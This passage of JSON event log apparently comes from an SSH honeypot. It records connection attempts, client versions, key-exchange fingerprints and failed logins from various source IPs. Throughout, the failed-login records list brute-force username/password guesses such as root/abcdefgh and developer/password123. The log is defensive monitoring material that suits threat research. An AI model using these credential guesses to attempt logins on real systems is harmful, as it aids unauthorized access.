-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:26.136708Z","src_ip":"91.92.40.36","session":"cf93e00bae51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":44966,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a0a6478ac2","protocol":"ssh","message":"New connection: 45.78.204.254:44966 (10.17.0.5:22) [session: 10a0a6478ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:26.724693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:26.733267Z","src_ip":"45.78.204.254","session":"10a0a6478ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:27.284769Z","src_ip":"102.210.148.92","session":"91fc6fd05539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:27.728140Z","src_ip":"45.78.204.254","session":"10a0a6478ac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"dummy","message":"login attempt [dummy/dummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:29.173212Z","src_ip":"91.92.40.36","session":"cf93e00bae51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdefgh","message":"login attempt [root/abcdefgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:29.480063Z","src_ip":"45.78.204.254","session":"10a0a6478ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:30.643154Z","src_ip":"91.92.40.36","session":"cf93e00bae51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:31.482015Z","src_ip":"45.78.204.254","session":"10a0a6478ac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55236,"dst_ip":"10.17.0.5","dst_port":22,"session":"7016d4ff5fcc","protocol":"ssh","message":"New connection: 193.37.70.224:55236 (10.17.0.5:22) [session: 7016d4ff5fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.320593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.325373Z","src_ip":"193.37.70.224","session":"7016d4ff5fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.418629Z","src_ip":"193.37.70.224","session":"7016d4ff5fcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":39046,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a90c74fc50","protocol":"ssh","message":"New connection: 45.123.217.22:39046 (10.17.0.5:22) [session: 37a90c74fc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.466964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.473190Z","src_ip":"45.123.217.22","session":"37a90c74fc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfynby","message":"login attempt [root/rfhfynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.702639Z","src_ip":"193.37.70.224","session":"7016d4ff5fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:33.713863Z","src_ip":"45.123.217.22","session":"37a90c74fc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12928,"dst_ip":"10.17.0.5","dst_port":22,"session":"83fe14947b75","protocol":"ssh","message":"New connection: 91.92.40.36:12928 (10.17.0.5:22) [session: 83fe14947b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:34.490598Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567890","message":"login attempt [test/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:34.670690Z","src_ip":"45.123.217.22","session":"37a90c74fc50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:34.799662Z","src_ip":"193.37.70.224","session":"7016d4ff5fcc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:34.965355Z","src_ip":"91.92.40.36","session":"83fe14947b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:35.841156Z","src_ip":"91.92.40.36","session":"83fe14947b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:35.908429Z","src_ip":"45.123.217.22","session":"37a90c74fc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@","message":"login attempt [root/12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:39.793015Z","src_ip":"91.92.40.36","session":"83fe14947b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":37232,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac9a9e5bc3e5","protocol":"ssh","message":"New connection: 102.213.34.99:37232 (159.203.135.109:22) [session: ac9a9e5bc3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:40.712520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:40.717267Z","src_ip":"102.213.34.99","session":"ac9a9e5bc3e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:40.888748Z","src_ip":"102.213.34.99","session":"ac9a9e5bc3e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yaroslav","password":"yaroslav","message":"login attempt [yaroslav/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:41.604800Z","src_ip":"102.213.34.99","session":"ac9a9e5bc3e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54184,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f89d4b80c0","protocol":"ssh","message":"New connection: 91.92.40.36:54184 (10.17.0.5:22) [session: 04f89d4b80c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:41.744943Z"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:42.176426Z","src_ip":"91.92.40.36","session":"83fe14947b75","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:42.201479Z","src_ip":"91.92.40.36","session":"04f89d4b80c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:42.777822Z","src_ip":"102.213.34.99","session":"ac9a9e5bc3e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:42.974276Z","src_ip":"91.92.40.36","session":"04f89d4b80c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":48716,"dst_ip":"159.203.135.109","dst_port":22,"session":"b06dd18d8ca1","protocol":"ssh","message":"New connection: 14.63.196.175:48716 (159.203.135.109:22) [session: b06dd18d8ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:43.981081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:43.986535Z","src_ip":"14.63.196.175","session":"b06dd18d8ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:44.194793Z","src_ip":"14.63.196.175","session":"b06dd18d8ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:45.062452Z","src_ip":"14.63.196.175","session":"b06dd18d8ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:46.273435Z","src_ip":"14.63.196.175","session":"b06dd18d8ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29136,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34b671338af","protocol":"ssh","message":"New connection: 91.92.40.36:29136 (10.17.0.5:22) [session: e34b671338af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:48.183737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:48.454620Z","src_ip":"91.92.40.36","session":"e34b671338af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:48.461554Z","src_ip":"91.92.40.36","session":"e34b671338af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:48.645827Z","src_ip":"91.92.40.36","session":"04f89d4b80c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":40854,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9d211c11e8","protocol":"ssh","message":"New connection: 103.84.236.242:40854 (159.203.135.109:22) [session: dd9d211c11e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:50.414055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:50.419276Z","src_ip":"103.84.236.242","session":"dd9d211c11e8","protocol":"ssh"}
